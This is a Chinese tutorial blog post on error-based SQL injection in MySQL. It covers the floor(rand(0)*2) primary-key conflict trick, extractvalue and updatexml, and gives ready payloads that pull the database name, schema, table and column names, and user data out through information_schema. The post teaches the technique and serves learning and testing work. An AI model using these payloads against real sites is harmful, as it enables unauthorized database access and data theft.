首页 > 数据库 >【1.0版】【MYSQL安全】sql注入系列:基于报错的 SQL 盲注

【1.0版】【MYSQL安全】sql注入系列:基于报错的 SQL 盲注

时间:2024-08-11 15:38:30浏览次数:9  
标签:count rand floor SQL 报错 MYSQL select schema

主题

sql注入:基于报错的 SQL 盲注

一、Floor报错注入
   1.1 floor 函数
   1.2 rand函数 
   1.3 count(*) 
   1.4 floor函数实际利用

二、extractvalue函数

三、updatexml函数:同extractvalue


本来网页是不显示信息的,但是我们可以构造 payload 让信息通过错误提示回显出来

一、Floor报错注入

首先介绍几个函数

1.1 floor 函数:向下取整

1.2 rand函数:随机产生0-1之前的随机数

但是如果给他传入一个固定参数,他就会产生一个伪随机数,并且数字不变这个随机数就一直不变

当我们乘2之后要不大于1要不小于1,所以floor得出的结果要不是0要不是1

1.3 count(*) :返回group分组之后的行的数量

当我们输入这条命令

select count(*),floor(rand(0)*2) x from users group by x;

如果加上database()

select count(*),concat(database(),floor(rand(0)*2)) x from users group by x;

我们发现爆出了数据库:cms

【原理分析】 ,见Mysql报错注入之floor(rand(0)*2)报错原理探究

主要原因count(*)建立虚表计算数量时,因为计算时的rand和插入时的rand数值不同而引起的主键冲突从而报错,我们将数据库的名连接,于是就会把数据库名爆出来(本质上报的是冲突的主键名)

1.4 floor函数实际利用

# 爆出当前数据库
?id=1' and (select 1 from (select concat((select database()),ceil(rand(0)*2))x,count(*) from information_schema.tables group by x)c)%23

# 爆出所有的数据库 通过limit来控制
?id=1' and (select 1 from (select concat((select schema_name from information_schema.schemata limit 4,1),ceil(rand(0)*2))x,count(*) from information_schema.tables group by x)c)%23

# 爆出表名
?id=1' and (select 1 from (select concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),ceil(rand(0)*2))x,count(*) from information_schema.tables group by x)c)%23
# 爆出字段
?id=1' and (select 1 from (select concat((select column_name from information_schema.columns where table_name='user' limit 0,1),ceil(rand(0)*2))x,count(*) from information_schema.tables group by x)c)%23
# 爆出数据
?id=1' and (select 1 from (select concat((select username from users),ceil(rand(0)*2))x,count(*) from information_schema.tables group by x)c)%23

我们可以控制where之后的语句 加上一个and 即可运行
同理ceil函数其实也是取整数,和floor函数效果是一样的

二、extractvalue函数

extractvalue():从目标XML中返回包含所查询值的字符串。

EXTRACTVALUE (XML_document, XPath_string);

第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串)
concat:返回结果为连接参数产生的字符串。

#payload:
and extractvalue(null,concat(0x7e,(select @@datadir),0x7e));

第一个参数随便输入,我们需要的是第二个参数 因为0x7e是~的16进制,不符合xpath语法的格式,于是会把我们查询的给报错报出来

三、updatexml函数:同extractvalue

payload】:

updatexml(1,concat(0x7e,database()),0)

当然报错注入的函数不止这几个,这只是几个最常用的,大家有兴趣可以找一下其他的

标签:count,rand,floor,SQL,报错,MYSQL,select,schema
From: https://www.cnblogs.com/o-O-oO/p/18353486

相关文章

  • 解决zabbix用户无法使用psql命令的问题
    解决zabbix用户无法使用psql命令的问题1.创建文件夹登录zabbix用户,创建所需的文件夹。su-zabbixcd/home/zabbixmkdirlibmkdirzabbix_envmkdirpg_binvitest.sh#创建测试脚本vitest.shcattest.shPGSHELL_CONFDIR="$1"source$PGSHELL_CONFDIR/zabbix_shell......
  • PostgreSQL的WAL日志详解
    PostgreSQL的WAL日志详解1.WAL日志介绍1.1WAL介绍wal日志即writeaheadlog预写式日志,简称wal日志。wal日志可以说是PostgreSQL中十分重要的部分,相当于oracle中的redo日志。当数据库中数据发生变更时:change发生时:先要将变更后内容计入walbuffer中,再将变更后的数据写入data......
  • PostgreSQL一主一从高可用搭建
    1.PostgreSQL一主一从高可用搭建(VIP)IP主机名角色192.168.198.146test11主服务器192.168.198.143test12备用服务器192.168.198.144test13见证服务器一、基本环境配置1、hosts文件配置(所有节点)vim/etc/hosts#新增192.168.198.146msp-app01192......
  • SQL-----索引设计原则
    索引设计原则1、针对于数据量较大,于且查询比较频繁的表建立索引2、针对常作为查询条件(where)、排序(orderby)、分组(groupby)操作的字段建立索引3、尽量选择区分度高的列作为索引,尽量建立唯一索引,区分度越高,使用索引的效率越高4、如果是字符串类型的字段,字符的长度......
  • sqli-labs漏洞靶场~SQL注入(全网最全详解)
    #sqli-labs靶场适合于初学sql注入的新手,它包含了许多的场景和模式为练习者提供良好的练习平台,以下这些语句搞懂我们做靶场就如鱼得水,非常自信的可以完成。查询当前数据库版本:selectversion();●查询当前数据库:selectdatabase();●查询当前路径:select@@basedir;●......
  • 轻松找回:如何在PostgreSQL 16中重置忘记的数据库密码
    目录1.引言2.PostgreSQL16的新特性简介3.解决方法概述4.方法一:通过修改`pg_hba.conf`文件重置密码5.方法二:通过命令行进入单用户模式6.方法三:使用pgAdmin工具重置密码7.总结与最佳实践写在以后1.引言你有没有过这样的经历?当你满怀期待地打开电脑准备工作时,......
  • 【SQL】参加测试的次数
    目录题目分析代码题目学生表: Students+---------------+---------+|ColumnName|Type|+---------------+---------+|student_id|int||student_name|varchar|+---------------+---------+在SQL中,主键为student_id(学生ID)。该表内的......
  • 240730-PostgreSQL的逻辑备份与物理备份
    PostgreSQL的逻辑备份与物理备份简介制定备份和恢复计划是每一个DBA最重要的工作之一,它决定了数据的有效性和完整性。也可以搭建跨越不同数据中心的流复制集群,能有效的帮助你避免单点故障。但是只有一份有效的备份能够帮助从delete或者drop的误操中恢复数据。制定备份和恢复计......
  • SQL转储
    PostgreSQL的备份和恢复-SQL转储与所有包含有价值数据的内容一样,应定期备份PostgreSQL数据库。虽然该过程本质上很简单,但清楚了解基础技术和假设非常重要。有三种从根本上不同的方法来备份PostgreSQL数据SQL转储文件系统级备份连续归档本文将重点介绍SQL转储使用的pg......
  • PostgreSQL的查询详解
    PostgreSQL的查询详解1.表表达式表表达式计算一个表。该表表达式包含一个FROM子句,该子句后面可以根据需要选用WHERE、GROUPBY和HAVING子句。最简单的表表达式只是引用磁盘上的一个表,一个所谓的基本表,但是我们可以用更复杂的表表达式以多种方法修改或组合基本表。表表达......